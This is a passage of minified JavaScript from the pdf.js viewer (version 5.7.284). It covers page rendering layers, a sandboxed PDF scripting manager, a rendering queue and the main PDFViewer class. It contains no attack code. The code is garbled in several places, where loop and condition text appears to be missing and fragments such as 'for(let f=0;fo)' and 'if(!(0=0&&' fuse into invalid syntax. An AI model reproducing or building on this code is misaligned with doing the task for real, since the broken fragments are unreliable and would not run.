thumbnailCanvas(){const{directDrawing:t,initialOptionalContent:n,regularAnnotations:r}=a(this,Ss);return t&&n&&r?this.canvas:null}};yc=new WeakMap,ws=new WeakMap,no=new WeakMap,bc=new WeakMap,Ac=new WeakMap,Ec=new WeakMap,Np=new WeakMap,Ur=new WeakMap,xs=new WeakMap,wc=new WeakMap,Bp=new WeakMap,kp=new WeakMap,jp=new WeakMap,Zl=new WeakMap,Up=new WeakMap,Ss=new WeakMap,ro=new WeakMap,bt=new WeakSet,Th=function(t,n){const r=VP.get(n),i=a(this,ro)[r];if(a(this,ro)[r]=t,i){i.replaceWith(t);return}for(let s=r-1;s>=0;s--){const o=a(this,ro)[s];if(o){o.after(t);return}}this.div.prepend(t)},gm=function(){const{div:t,viewport:n}=this;if(n.userUnit!==a(this,Up)&&(n.userUnit!==1?t.style.setProperty("--user-unit",n.userUnit):t.style.removeProperty("--user-unit"),g(this,Up,n.userUnit)),this.pdfPage){if(a(this,Bp)===n.rotation)return;g(this,Bp,n.rotation)}vw(t,n,!0,!1)},pd=function(t,n){this.eventBus.dispatch(t,{source:this,pageNumber:this.id,error:n})},$0=async function(){let t=null;try{await this.annotationLayer.render({viewport:this.viewport,intent:"display",structTreeLayer:this.structTreeLayer})}catch(n){console.error("#renderAnnotationLayer:",n),t=n}finally{A(this,bt,pd).call(this,"annotationlayerrendered",t)}},H0=async function(){let t=null;try{await this.annotationEditorLayer.render({viewport:this.viewport,intent:"display"})}catch(n){console.error("#renderAnnotationEditorLayer:",n),t=n}finally{A(this,bt,pd).call(this,"annotationeditorlayerrendered",t)}},V0=async function(){try{await this.drawLayer.render({intent:"display"})}catch(t){console.error("#renderDrawLayer:",t)}},W0=async function(){var n;let t=null;try{const r=await this.xfaLayer.render({viewport:this.viewport,intent:"display"});r!=null&&r.textDivs&&this._textHighlighter&&A(this,bt,ex).call(this,r.textDivs)}catch(r){console.error("#renderXfaLayer:",r),t=r}finally{(n=this.xfaLayer)!=null&&n.div&&(this.l10n.pause(),A(this,bt,Th).call(this,this.xfaLayer.div,"xfaLayer"),this.l10n.resume()),A(this,bt,pd).call(this,"xfalayerrendered",t)}},z0=async function(){if(!this.textLayer)return;let t=null;try{await this.textLayer.render({viewport:this.viewport,images:this.imageCoordinates?new KC(this.imagesRightClickMinSize,this.imageCoordinates,this.viewport,()=>this.canvas):null})}catch(n){if(n instanceof BC)return;console.error("#renderTextLayer:",n),t=n}A(this,bt,pd).call(this,"textlayerrendered",t),A(this,bt,tx).call(this)},tx=async function(){var n,r,i;if(!this.textLayer)return;const t=await((n=this.structTreeLayer)==null?void 0:n.render());t&&(this.l10n.pause(),(r=this.structTreeLayer)==null||r.updateTextLayer(),this.canvas&&t.parentNode!==this.canvas&&this.canvas.append(t),this.l10n.resume()),(i=this.structTreeLayer)==null||i.show()},ex=async function(t){const n=await this.pdfPage.getTextContent(),r=[];for(const i of n.items)r.push(i.str);this._textHighlighter.setTextMapping(t,r),this._textHighlighter.enable()},nx=async function(t){try{if(await t,!this.annotationLayer)return;await this.annotationLayer.injectLinkAnnotations(fm.processLinks(this))}catch(n){console.error("#injectLinkAnnotations:",n)}},G0=function(){const{width:t,height:n}=this.viewport,r=this.outputScale=new am;if(this.maxCanvasPixels===0){const i=1/this.scale;r.sx*=i,r.sy*=i,g(this,xs,!0)}else if(g(this,xs,r.limitCanvas(t,n,this.maxCanvasPixels,this.maxCanvasDim,this.capCanvasAreaFactor)),a(this,xs)&&this.enableDetailCanvas){const i=this.enableOptimizedPartialRendering?4:2;r.sx/=i,r.sy/=i}};let Dm=wb;async function WP(h){const e="",t="",{info:n,metadata:r,contentDispositionFilename:i,contentLength:s}=await h.getMetadata();return{...n,baseURL:t,filesize:s||(await h.getDownloadInfo()).length,filename:i||HC(e),metadata:r==null?void 0:r.getRaw(),authors:r==null?void 0:r.get("dc:creator"),numPages:h.numPages,URL:e}}class zP{constructor(e,t){this._ready=new Promise((n,r)=>{import(e).then(s=>{n(s.QuickJSSandbox(new URL(t,location.href).href))}).catch(r)})}async createSandbox(e){(await this._ready).create(e)}async dispatchEventInSandbox(e){const t=await this._ready;setTimeout(()=>t.dispatchEvent(e),0)}async destroySandbox(){(await this._ready).nukeSandbox()}}var Ai,Ql,$p,ql,th,Hp,dn,Cs,xc,Ce,mr,Be,rx,mm,X0,ix,gd;class GP{constructor({eventBus:e,externalServices:t=null,docProperties:n=null}){b(this,Be);b(this,Ai,null);b(this,Ql,null);b(this,$p,null);b(this,ql,null);b(this,th,null);b(this,Hp,null);b(this,dn,null);b(this,Cs,null);b(this,xc,!1);b(this,Ce,null);b(this,mr,null);g(this,th,e),g(this,Hp,t),g(this,$p,n)}setViewer(e){g(this,Cs,e)}async setDocument(e){var o;if(a(this,dn)&&await A(this,Be,gd).call(this),g(this,dn,e),!e)return;const[t,n,r]=await Promise.all([e.getFieldObjects(),e.getCalculationOrderIds(),e.getJSActions()]);if(!t&&!r){await A(this,Be,gd).call(this);return}if(e!==a(this,dn))return;try{g(this,Ce,A(this,Be,ix).call(this))}catch(l){console.error("setDocument:",l),await A(this,Be,gd).call(this);return}const i=a(this,th);g(this,ql,new AbortController);const{signal:s}=a(this,ql);i._on("updatefromsandbox",l=>{(l==null?void 0:l.source)===window&&A(this,Be,rx).call(this,l.detail)},{signal:s}),i._on("dispatcheventinsandbox",l=>{var u;(u=a(this,Ce))==null||u.dispatchEventInSandbox(l.detail)},{signal:s}),i._on("pagechanging",({pageNumber:l,previous:u})=>{l!==u&&(A(this,Be,X0).call(this,u),A(this,Be,mm).call(this,l))},{signal:s}),i._on("pagerendered",({pageNumber:l})=>{this._pageOpenPending.has(l)&&l===a(this,Cs).currentPageNumber&&A(this,Be,mm).call(this,l)},{signal:s}),i._on("pagesdestroy",async()=>{var l,u;await A(this,Be,X0).call(this,a(this,Cs).currentPageNumber),await((l=a(this,Ce))==null?void 0:l.dispatchEventInSandbox({id:"doc",name:"WillClose"})),(u=a(this,Ai))==null||u.resolve()},{signal:s});try{const l=await a(this,$p).call(this,e);if(e!==a(this,dn))return;await a(this,Ce).createSandbox({objects:t,calculationOrder:n,appInfo:{platform:navigator.platform,language:navigator.language},docInfo:{...l,actions:r}}),i.dispatch("sandboxcreated",{source:this})}catch(l){console.error("setDocument:",l),await A(this,Be,gd).call(this);return}await((o=a(this,Ce))==null?void 0:o.dispatchEventInSandbox({id:"doc",name:"Open"})),await A(this,Be,mm).call(this,a(this,Cs).currentPageNumber,!0),Promise.resolve().then(()=>{e===a(this,dn)&&g(this,xc,!0)})}async dispatchWillSave(){var e;return(e=a(this,Ce))==null?void 0:e.dispatchEventInSandbox({id:"doc",name:"WillSave"})}async dispatchDidSave(){var e;return(e=a(this,Ce))==null?void 0:e.dispatchEventInSandbox({id:"doc",name:"DidSave"})}async dispatchWillPrint(){var e;if(a(this,Ce)){await((e=a(this,mr))==null?void 0:e.promise),g(this,mr,Promise.withResolvers());try{await a(this,Ce).dispatchEventInSandbox({id:"doc",name:"WillPrint"})}catch(t){throw a(this,mr).resolve(),g(this,mr,null),t}await a(this,mr).promise}}async dispatchDidPrint(){var e;return(e=a(this,Ce))==null?void 0:e.dispatchEventInSandbox({id:"doc",name:"DidPrint"})}get destroyPromise(){var e;return((e=a(this,Ql))==null?void 0:e.promise)||null}get ready(){return a(this,xc)}get _pageOpenPending(){return Id(this,"_pageOpenPending",new Set)}get _visitedPages(){return Id(this,"_visitedPages",new Map)}}Ai=new WeakMap,Ql=new WeakMap,$p=new WeakMap,ql=new WeakMap,th=new WeakMap,Hp=new WeakMap,dn=new WeakMap,Cs=new WeakMap,xc=new WeakMap,Ce=new WeakMap,mr=new WeakMap,Be=new WeakSet,rx=async function(e){var u,c;const t=a(this,Cs),n=t.isInPresentationMode||t.isChangingPresentationMode,{id:r,siblings:i,command:s,value:o}=e;if(!r){switch(s){case"clear":console.clear();break;case"error":console.error(o);break;case"layout":if(!n){const d=AT(o);t.spreadMode=d.spreadMode}break;case"page-num":t.currentPageNumber=o+1;break;case"print":await t.pagesPromise,a(this,th).dispatch("print",{source:this});break;case"println":console.log(o);break;case"zoom":n||(t.currentScaleValue=o);break;case"SaveAs":a(this,th).dispatch("download",{source:this});break;case"FirstPage":t.currentPageNumber=1;break;case"LastPage":t.currentPageNumber=t.pagesCount;break;case"NextPage":t.nextPage();break;case"PrevPage":t.previousPage();break;case"ZoomViewIn":n||t.increaseScale();break;case"ZoomViewOut":n||t.decreaseScale();break;case"WillPrintFinished":(u=a(this,mr))==null||u.resolve(),g(this,mr,null);break}return}if(n&&e.focus)return;delete e.id,delete e.siblings;const l=i?[r,...i]:[r];for(const d of l){const f=document.querySelector(`[data-element-id="${d}"]`);f?f.dispatchEvent(new CustomEvent("updatefromsandbox",{detail:e})):(c=a(this,dn))==null||c.annotationStorage.setValue(d,e)}},mm=async function(e,t=!1){const n=a(this,dn),r=this._visitedPages;if(t&&g(this,Ai,Promise.withResolvers()),!a(this,Ai))return;const i=a(this,Cs).getPageView(e-1);if((i==null?void 0:i.renderingState)!==Rt.FINISHED){this._pageOpenPending.add(e);return}this._pageOpenPending.delete(e);const s=(async()=>{var l,u;const o=await(r.has(e)?null:(l=i.pdfPage)==null?void 0:l.getJSActions());n===a(this,dn)&&await((u=a(this,Ce))==null?void 0:u.dispatchEventInSandbox({id:"page",name:"PageOpen",pageNumber:e,actions:o}))})();r.set(e,s)},X0=async function(e){var i;const t=a(this,dn),n=this._visitedPages;if(!a(this,Ai)||this._pageOpenPending.has(e))return;const r=n.get(e);r&&(n.set(e,null),await r,t===a(this,dn)&&await((i=a(this,Ce))==null?void 0:i.dispatchEventInSandbox({id:"page",name:"PageClose",pageNumber:e})))},ix=function(){if(g(this,Ql,Promise.withResolvers()),a(this,Ce))throw new Error("#initScripting: Scripting already exists.");return a(this,Hp).createScripting()},gd=async function(){var e,t,n,r;if(!a(this,Ce)){g(this,dn,null),(e=a(this,Ql))==null||e.resolve();return}a(this,Ai)&&(await Promise.race([a(this,Ai).promise,new Promise(i=>{setTimeout(i,1e3)})]).catch(()=>{}),g(this,Ai,null)),g(this,dn,null);try{await a(this,Ce).destroySandbox()}catch{}(t=a(this,mr))==null||t.reject(new Error("Scripting destroyed.")),g(this,mr,null),(n=a(this,ql))==null||n.abort(),g(this,ql,null),this._pageOpenPending.clear(),this._visitedPages.clear(),g(this,Ce,null),g(this,xc,!1),(r=a(this,Ql))==null||r.resolve()};class XP extends GP{constructor(e){e.externalServices||window.addEventListener("updatefromsandbox",t=>{e.eventBus.dispatch("updatefromsandbox",{source:window,detail:t.detail})}),e.externalServices||(e.externalServices={createScripting:()=>new zP(e.sandboxBundleSrc,e.wasmUrl)}),e.docProperties||(e.docProperties=t=>WP(t)),super(e)}}Ct(1148);Ct(3579);const _P=3e4;var eh,nh,Vp,Sc;class YP{constructor(){b(this,eh,null);b(this,nh,null);b(this,Vp,null);b(this,Sc,null);M(this,"isThumbnailViewEnabled",!1);M(this,"onIdle",null);M(this,"printing",!1);Object.defineProperty(this,"hasViewer",{value:()=>!!a(this,Sc)})}setViewer(e){g(this,Sc,e)}setThumbnailViewer(e){g(this,Vp,e)}isHighestPriority(e){return a(this,eh)===e.renderingId}renderHighestPriority(e){var t;a(this,nh)&&(clearTimeout(a(this,nh)),g(this,nh,null)),!a(this,Sc).forceRendering(e)&&(this.isThumbnailViewEnabled&&((t=a(this,Vp))!=null&&t.forceRendering())||this.printing||this.onIdle&&g(this,nh,setTimeout(this.onIdle.bind(this),_P)))}getHighestPriority(e,t,n,r=!1,i=!1){const s=e.views,o=s.length;if(o===0)return null;for(let f=0;fo){const f=e.ids;for(let p=1,m=u-l;p{this.renderHighestPriority()}).catch(t=>{t instanceof g0||console.error("renderView:",t)});break}return!0}}eh=new WeakMap,nh=new WeakMap,Vp=new WeakMap,Sc=new WeakMap;const N1=10,Ag={FORCE_SCROLL_MODE_PAGE:1e4,FORCE_LAZY_PAGE_INIT:5e3,PAUSE_EAGER_PAGE_INIT:250};function B1(h){return Object.values(vn).includes(h)&&h!==vn.DISABLE}var Ts,rh,Wp,_0;class KP{constructor(e){b(this,Wp);b(this,Ts,new Set);b(this,rh,0);g(this,rh,e)}push(e){const t=a(this,Ts);t.has(e)&&t.delete(e),t.add(e),t.size>a(this,rh)&&A(this,Wp,_0).call(this)}resize(e,t=null){g(this,rh,e);const n=a(this,Ts);if(t){const r=n.size;let i=1;for(const s of n)if(t.has(s.id)&&(n.delete(s),n.add(s)),++i>r)break}for(;n.size>a(this,rh);)A(this,Wp,_0).call(this)}has(e){return a(this,Ts).has(e)}[Symbol.iterator](){return a(this,Ts).keys()}}Ts=new WeakMap,rh=new WeakMap,Wp=new WeakSet,_0=function(){const e=a(this,Ts).keys().next().value;e==null||e.destroy(),a(this,Ts).delete(e)};var Ps,zp,Gp,vr,Ne,ih,sh,Xp,_p,Yp,Kp,Jp,Zp,Qp,qp,io,tg,Cc,Is,$r,ah,oh,Tc,so,eg,Pc,lh,Rs,Ic,ng,Rc,rg,ao,yr,oo,rt,ax,ox,lx,md,vm,hx,Y0,ux,Gs,K0,cx,dx,fx,J0,Z0,px,Q0,ym,q0;class sx{constructor(e){b(this,rt);b(this,Ps,null);b(this,zp,null);b(this,Gp,null);b(this,vr,vn.NONE);b(this,Ne,null);b(this,ih,xi.ENABLE_FORMS);b(this,sh,null);b(this,Xp,null);b(this,_p,null);b(this,Yp,!1);b(this,Kp,!1);b(this,Jp,!1);b(this,Zp,!1);b(this,Qp,!0);b(this,qp,null);b(this,io,null);b(this,tg,0);b(this,Cc,null);b(this,Is,!0);b(this,$r,null);b(this,ah,null);b(this,oh,null);b(this,Tc,!1);b(this,so,null);b(this,eg,0);b(this,Pc,new ResizeObserver(A(this,rt,px).bind(this)));b(this,lh,null);b(this,Rs,null);b(this,Ic,null);b(this,ng,!0);b(this,Rc,Ei.ENABLE);b(this,rg,null);b(this,ao,null);b(this,yr,null);b(this,oo,null);var r,i;const t="5.7.284";if(s1!==t)throw new Error(`The API version "${s1}" does not match the Viewer version "${t}".`);if(this.container=e.container,this.viewer=e.viewer||e.container.firstElementChild,g(this,rg,e.viewerAlert||null),((r=this.container)==null?void 0:r.tagName)!=="DIV"||((i=this.viewer)==null?void 0:i.tagName)!=="DIV")throw new Error("Invalid `container` and/or `viewer` option.");if(this.container.offsetParent&&getComputedStyle(this.container).position!=="absolute")throw new Error("The `container` must be absolutely positioned.");a(this,Pc).observe(this.container),this.eventBus=e.eventBus,this.linkService=e.linkService||new gb,this.downloadManager=e.downloadManager||null,this.findController=e.findController||null,g(this,zp,e.altTextManager||null),g(this,sh,e.commentManager||null),g(this,Ic,e.signatureManager||null),g(this,_p,e.editorUndoBar||null),this.findController&&(this.findController.onIsPageVisible=s=>this._getVisiblePages().ids.has(s)),this._scriptingManager=e.scriptingManager||null,g(this,Rc,e.textLayerMode??Ei.ENABLE),g(this,ih,e.annotationMode??xi.ENABLE_FORMS),g(this,vr,e.annotationEditorMode??vn.NONE),g(this,Gp,e.annotationEditorHighlightColors||null),g(this,Yp,e.enableHighlightFloatingButton===!0),g(this,Jp,e.enableUpdatedAddImage===!0),g(this,Zp,e.enableNewAltTextWhenAddingImage===!0),this.imageResourcesPath=e.imageResourcesPath||"",this.enablePrintAutoRotate=e.enablePrintAutoRotate||!1,this.removePageBorders=e.removePageBorders||!1,this.maxCanvasPixels=e.maxCanvasPixels,this.maxCanvasDim=e.maxCanvasDim,this.capCanvasAreaFactor=e.capCanvasAreaFactor,this.enableDetailCanvas=e.enableDetailCanvas??!0,this.enableOptimizedPartialRendering=e.enableOptimizedPartialRendering??!1,this.imagesRightClickMinSize=e.imagesRightClickMinSize??-1,this.l10n=e.l10n,this.l10n||(this.l10n=new Oc),g(this,Kp,e.enablePermissions||!1),this.pageColors=e.pageColors||null,g(this,Cc,e.mlManager||null),g(this,ng,e.supportsPinchToZoom!==!1),g(this,Qp,e.enableAutoLinking!==!1),g(this,tg,e.minDurationToUpdateCanvas??500),this.defaultRenderingQueue=!e.renderingQueue,this.defaultRenderingQueue?(this.renderingQueue=new YP,this.renderingQueue.setViewer(this)):this.renderingQueue=e.renderingQueue;const{abortSignal:n}=e;g(this,qp,n||null),n==null||n.addEventListener("abort",()=>{a(this,Pc).disconnect(),g(this,Pc,null)},{once:!0}),this.scroll=fT(this.container,this._scrollUpdate.bind(this),n),this.presentationModeState=Dh.UNKNOWN,this._resetView(),this.removePageBorders&&this.viewer.classList.add("removePageBorders"),A(this,rt,Z0).call(this),this.eventBus._on("thumbnailrendered",({pageNumber:s,pdfPage:o})=>{const l=this._pages[s-1];a(this,Ps).has(l)||o==null||o.cleanup()}),e.l10n||this.l10n.translate(this.container)}get printingAllowed(){return a(this,Is)}get pagesCount(){return this._pages.length}getPageView(e){return this._pages[e]}getCachedPageViews(){return new Set(a(this,Ps))}get pageViewsReady(){return this._pages.every(e=>e==null?void 0:e.pdfPage)}get renderForms(){return a(this,ih)===xi.ENABLE_FORMS}get enableScripting(){return!!this._scriptingManager}get currentPageNumber(){return this._currentPageNumber}set currentPageNumber(e){if(!Number.isInteger(e))throw new Error("Invalid page number.");this.pdfDocument&&(this._setCurrentPageNumber(e,!0)||console.error(`currentPageNumber: "${e}" is not a valid page.`))}_setCurrentPageNumber(e,t=!1){var r;if(this._currentPageNumber===e)return t&&A(this,rt,K0).call(this),!0;if(!(0=0&&(t=n+1)}this._setCurrentPageNumber(t,!0)||console.error(`currentPageLabel: "${e}" is not a valid page.`)}get currentScale(){return this._currentScale!==Ov?this._currentScale:yw}set currentScale(e){if(isNaN(e))throw new Error("Invalid numeric scale.");this.pdfDocument&&A(this,rt,Gs).call(this,e,{noScroll:!1})}get currentScaleValue(){return this._currentScaleValue}set currentScaleValue(e){this.pdfDocument&&A(this,rt,Gs).call(this,e,{noScroll:!1})}get pagesRotation(){return this._pagesRotation}set pagesRotation(e){if(!bw(e))throw new Error("Invalid pages rotation angle.");if(!this.pdfDocument||(e%=360,e<0&&(e+=360),this._pagesRotation===e))return;this._pagesRotation=e;const t=this._currentPageNumber;this.refresh(!0,{rotation:e}),this._currentScaleValue&&A(this,rt,Gs).call(this,this._currentScaleValue,{noScroll:!0}),this.eventBus.dispatch("rotationchanging",{source:this,pagesRotation:e,pageNumber:t}),this.defaultRenderingQueue&&this.update()}get firstPagePromise(){return this.pdfDocument?this._firstPageCapability.promise:null}get onePageRendered(){return this.pdfDocument?this._onePageRenderedCapability.promise:null}get pagesPromise(){return this.pdfDocument?this._pagesCapability.promise:null}get _layerProperties(){const e=this;return Id(this,"_layerProperties",{get annotationEditorUIManager(){return a(e,Ne)},get annotationStorage(){var t;return(t=e.pdfDocument)==null?void 0:t.annotationStorage},get downloadManager(){return e.downloadManager},get enableComment(){return!!a(e,sh)},get enableScripting(){return!!e._scriptingManager},get fieldObjectsPromise(){var t;return(t=e.pdfDocument)==null?void 0:t.getFieldObjects()},get findController(){return e.findController},get hasJSActionsPromise(){var t;return(t=e.pdfDocument)==null?void 0:t.hasJSActions()},get linkService(){return e.linkService}})}async getAllText(e=null){const t=[],n=[];for(let r=1,i=this.pdfDocument.numPages;r<=i;++r){if(e!=null&&e.aborted)return null;n.length=0;const s=await this.pdfDocument.getPage(r),{items:o}=await s.getTextContent();for(const l of o)l.str&&n.push(l.str),l.hasEOL&&n.push(` +`);t.push(bd(n.join("")))}return t.join(` +`)}setDocument(e){var f,p,m;if(this.pdfDocument&&(this.eventBus.dispatch("pagesdestroy",{source:this}),this._cancelRendering(),this._resetView(),(f=this.findController)==null||f.setDocument(null),(p=this._scriptingManager)==null||p.setDocument(null),(m=a(this,Ne))==null||m.destroy(),g(this,Ne,null),g(this,vr,vn.NONE),g(this,Is,!0)),this.pdfDocument=e,!e)return;const t=e.numPages,n=e.getPage(1),r=e.getOptionalContentConfig({intent:"display"}),i=a(this,Kp)?e.getPermissions():Promise.resolve(),{eventBus:s,pageColors:o,viewer:l}=this;g(this,io,new AbortController);const{signal:u}=a(this,io);if(t>Ag.FORCE_SCROLL_MODE_PAGE){console.warn("Forcing PAGE-scrolling for performance reasons, given the length of the document.");const v=this._scrollMode=St.PAGE;s.dispatch("scrollmodechanged",{source:this,mode:v})}this._pagesCapability.promise.then(()=>{s.dispatch("pagesloaded",{source:this,pagesCount:t})},()=>{});const c=v=>{const y=this._pages[v.pageNumber-1];y&&a(this,Ps).push(y)};s._on("pagerender",c,{signal:u});const d=v=>{v.cssTransform||v.isDetailView||(this._onePageRenderedCapability.resolve({timestamp:v.timestamp}),s._off("pagerendered",d))};s._on("pagerendered",d,{signal:u}),Promise.all([n,i]).then(([v,y])=>{var I;if(e!==this.pdfDocument)return;this._firstPageCapability.resolve(v),this._optionalContentConfigPromise=r;const{annotationEditorMode:E,annotationMode:S,textLayerMode:w}=A(this,rt,ax).call(this,y);if(w!==Ei.DISABLE){const F=g(this,so,document.createElement("div"));F.id="hiddenCopyElement",l.before(F)}if(E!==vn.DISABLE){const F=E;e.isPureXfa?console.warn("Warning: XFA-editing is not implemented."):B1(F)?(g(this,Ne,new jC(this.container,l,a(this,rg),a(this,zp),a(this,sh),a(this,Ic),s,e,o,a(this,Gp),a(this,Yp),a(this,Jp),a(this,Zp),a(this,Cc),a(this,_p),a(this,ng))),s.dispatch("annotationeditoruimanager",{source:this,uiManager:a(this,Ne)}),F!==vn.NONE&&(A(this,rt,q0).call(this,F),a(this,Ne).updateMode(F))):console.error(`Invalid AnnotationEditor mode: ${F}`)}const C=this._scrollMode===St.PAGE?null:l,x=this.currentScale,T=v.getViewport({scale:x*Li.PDF_TO_CSS_UNITS});l.style.setProperty("--scale-factor",T.scale),o!=null&&o.background&&l.style.setProperty("--page-bg-color",o.background),((o==null?void 0:o.foreground)==="CanvasText"||(o==null?void 0:o.background)==="Canvas")&&(l.style.setProperty("--hcm-highlight-filter",e.filterFactory.addHighlightHCMFilter("highlight","CanvasText","Canvas","HighlightText","Highlight")),l.style.setProperty("--hcm-highlight-selected-filter",e.filterFactory.addHighlightHCMFilter("highlight_selected","CanvasText","Canvas","HighlightText","ButtonText")));for(let F=1;F<=t;++F){const P=new Dm({container:C,eventBus:s,id:F,scale:x,defaultViewport:T.clone(),optionalContentConfigPromise:r,renderingQueue:this.renderingQueue,textLayerMode:w,annotationMode:S,imageResourcesPath:this.imageResourcesPath,maxCanvasPixels:this.maxCanvasPixels,maxCanvasDim:this.maxCanvasDim,capCanvasAreaFactor:this.capCanvasAreaFactor,enableDetailCanvas:this.enableDetailCanvas,enableOptimizedPartialRendering:this.enableOptimizedPartialRendering,imagesRightClickMinSize:this.imagesRightClickMinSize,pageColors:o,l10n:this.l10n,layerProperties:this._layerProperties,enableAutoLinking:a(this,Qp),minDurationToUpdateCanvas:a(this,tg),commentManager:a(this,sh),abortSignal:a(this,qp)});this._pages.push(P)}(I=this._pages[0])==null||I.setPdfPage(v),this._scrollMode===St.PAGE?A(this,rt,md).call(this):this._spreadMode!==tn.NONE&&this._updateSpreadMode(),s._on("annotationeditorlayerrendered",F=>{a(this,Ne)&&s.dispatch("annotationeditormodechanged",{source:this,mode:a(this,vr)})},{once:!0,signal:u}),A(this,rt,ox).call(this,u).then(async()=>{var P,R;if(e!==this.pdfDocument)return;if((P=this.findController)==null||P.setDocument(e),(R=this._scriptingManager)==null||R.setDocument(e),a(this,so)&&document.addEventListener("copy",A(this,rt,lx).bind(this,w),{signal:u}),e.loadingParams.disableAutoFetch||t>Ag.FORCE_LAZY_PAGE_INIT){this._pagesCapability.resolve();return}let F=t-1;if(F<=0){this._pagesCapability.resolve();return}for(let D=2;D<=t;++D){const k=e.getPage(D).then(N=>{const H=this._pages[D-1];H.pdfPage||H.setPdfPage(N),--F===0&&this._pagesCapability.resolve()},N=>{console.error(`Unable to get page ${D} to initialize viewer`,N),--F===0&&this._pagesCapability.resolve()});D%Ag.PAUSE_EAGER_PAGE_INIT===0&&await k}}),s.dispatch("pagesinit",{source:this}),e.getMetadata().then(({info:F})=>{e===this.pdfDocument&&F.Language&&(l.lang=F.Language)}),this.defaultRenderingQueue&&this.update()}).catch(v=>{console.error("Unable to initialize viewer",v),this._pagesCapability.reject(v)})}onPagesEdited({pagesMapper:e,type:t,hasBeenCut:n,pageNumbers:r}){var u,c,d,f,p;if(t==="copy"){g(this,ao,new Map);for(const m of r)a(this,ao).set(m,this._pages[m-1]);return}if(t==="cancelCopy"){g(this,ao,null);return}if((t==="cut"||t==="delete")&&(g(this,yr,this._pages),g(this,oo,r)),t==="cancelDelete"){if(g(this,oo,null),!a(this,yr))return;const m=this._scrollMode===St.PAGE?null:this.viewer;if(m){(u=a(this,Ne))==null||u.startUpdatePages();const v=document.createDocumentFragment();for(let y=0,E=a(this,yr).length;y{this.forceRendering()})}setPageLabels(e){var t;if(this.pdfDocument){e?Array.isArray(e)&&this.pdfDocument.numPages===e.length?this._pageLabels=e:(this._pageLabels=null,console.error("setPageLabels: Invalid page labels.")):this._pageLabels=null;for(let n=0,r=this._pages.length;n{g(this,$r,null),this.update()},100)),this.update())}pageLabelToPageNumber(e){if(!this._pageLabels)return null;const t=this._pageLabels.indexOf(e);return t<0?null:t+1}scrollPageIntoView({pageNumber:e,destArray:t=null,allowNegativeOffset:n=!1,ignoreDestinationZoom:r=!1,center:i=null}){if(!this.pdfDocument)return;const s=Number.isInteger(e)&&this._pages[e-1];if(!s){console.error(`scrollPageIntoView: "${e}" is not a valid pageNumber parameter.`);return}if(this.isInPresentationMode||!t){this._setCurrentPageNumber(e,!0);return}let o=0,l=0,u=0,c=0,d,f;const p=s.rotation%180!==0,m=(p?s.height:s.width)/s.scale/Li.PDF_TO_CSS_UNITS,v=(p?s.width:s.height)/s.scale/Li.PDF_TO_CSS_UNITS;let y=0;switch(t[1].name){case"XYZ":o=t[2],l=t[3],y=t[4],o=o!==null?o:0,l=l!==null?l:v;break;case"Fit":case"FitB":y="page-fit";break;case"FitH":case"FitBH":l=t[2],y="page-width",l===null&&this._location?(o=this._location.left,l=this._location.top):(typeof l!="number"||l<0)&&(l=v);break;case"FitV":case"FitBV":o=t[2],u=m,c=v,y="page-height";break;case"FitR":o=t[2],l=t[3],u=t[4]-o,c=t[5]-l;let C=o1,x=l1;this.removePageBorders&&(C=x=0),d=(this.container.clientWidth-C)/u/Li.PDF_TO_CSS_UNITS,f=(this.container.clientHeight-x)/c/Li.PDF_TO_CSS_UNITS,y=Math.min(Math.abs(d),Math.abs(f));break;default:console.error(`scrollPageIntoView: "${t[1].name}" is not a valid destination type.`);return}if(r||(y&&y!==this._currentScale?this.currentScaleValue=y:this._currentScale===Ov&&(this.currentScaleValue=lT)),y==="page-fit"&&!t[4]){A(this,rt,vm).call(this,s);return}const E=[s.viewport.convertToViewportPoint(o,l),s.viewport.convertToViewportPoint(o+u,l+c)];let S=Math.min(E[0][0],E[1][0]),w=Math.min(E[0][1],E[1][1]);i?((i==="both"||i==="vertical")&&(w-=(this.container.clientHeight-Math.abs(E[1][1]-E[0][1]))/2),(i==="both"||i==="horizontal")&&(S-=(this.container.clientWidth-Math.abs(E[1][0]-E[0][0]))/2)):n||(S=Math.max(S,0),w=Math.max(w,0)),A(this,rt,vm).call(this,s,{left:S,top:w})}_updateLocation(e){const t=this._currentScale,n=this._currentScaleValue,r=parseFloat(n)===t?Math.round(t*1e4)/100:n,i=e.id,s=this._pages[i-1],o=this.container,l=s.getPagePoint(o.scrollLeft-e.x,o.scrollTop-e.y),u=Math.round(l[0]),c=Math.round(l[1]);let d=`#page=${i}`;this.isInPresentationMode||(d+=`&zoom=${r},${u},${c}`),this._location={pageNumber:i,scale:r,top:c,left:u,rotation:this._pagesRotation,pdfOpenParams:d}}update(){const e=this._getVisiblePages(),t=e.views,n=t.length;if(n===0)return;const r=Math.max(N1,2*n+1);a(this,Ps).resize(r,e.ids);for(const{view:l,visibleArea:u}of t)l.updateVisibleArea(u);for(const l of a(this,Ps))e.ids.has(l.id)||l.updateVisibleArea(null);this.renderingQueue.renderHighestPriority(e);const i=this._spreadMode===tn.NONE&&(this._scrollMode===St.PAGE||this._scrollMode===St.VERTICAL),s=this._currentPageNumber;let o=!1;for(const l of t){if(l.percent<100)break;if(l.id===s&&i){o=!0;break}}this._setCurrentPageNumber(o?this._currentPageNumber:t[0].id),this._updateLocation(e.first),this.eventBus.dispatch("updateviewarea",{source:this,location:this._location})}containsElement(e){return this.container.contains(e)}focus(){this.container.focus()}get _isContainerRtl(){return getComputedStyle(this.container).direction==="rtl"}get isInPresentationMode(){return this.presentationModeState===Dh.FULLSCREEN}get isChangingPresentationMode(){return this.presentationModeState===Dh.CHANGING}get isHorizontalScrollbarEnabled(){return this.isInPresentationMode?!1:this.container.scrollWidth>this.container.clientWidth}get isVerticalScrollbarEnabled(){return this.isInPresentationMode?!1:this.container.scrollHeight>this.container.clientHeight}_getVisiblePages(){const e=this._scrollMode===St.PAGE?a(this,lh).pages:this._pages,t=this._scrollMode===St.HORIZONTAL,n=t&&this._isContainerRtl;return gT({scrollEl:this.container,views:e,sortByVisibility:!0,horizontal:t,rtl:n})}cleanup(){for(const e of this._pages)e.renderingState!==Rt.FINISHED&&e.reset()}_cancelRendering(){for(const e of this._pages)e.cancelRendering()}forceRendering(e){const t=e||this._getVisiblePages(),n=A(this,rt,fx).call(this,t),r=this._spreadMode!==tn.NONE&&this._scrollMode!==St.HORIZONTAL,i=a(this,Rs)!==null||a(this,$r)!==null&&t.views.some(o=>{var l;return(l=o.detailView)==null?void 0:l.renderingCancelled}),s=this.renderingQueue.getHighestPriority(t,this._pages,n,r,i);return s?(A(this,rt,dx).call(this,s).then(()=>{this.renderingQueue.renderView(s)}),!0):!1}get hasEqualPageSizes(){const e=this._pages[0];for(let 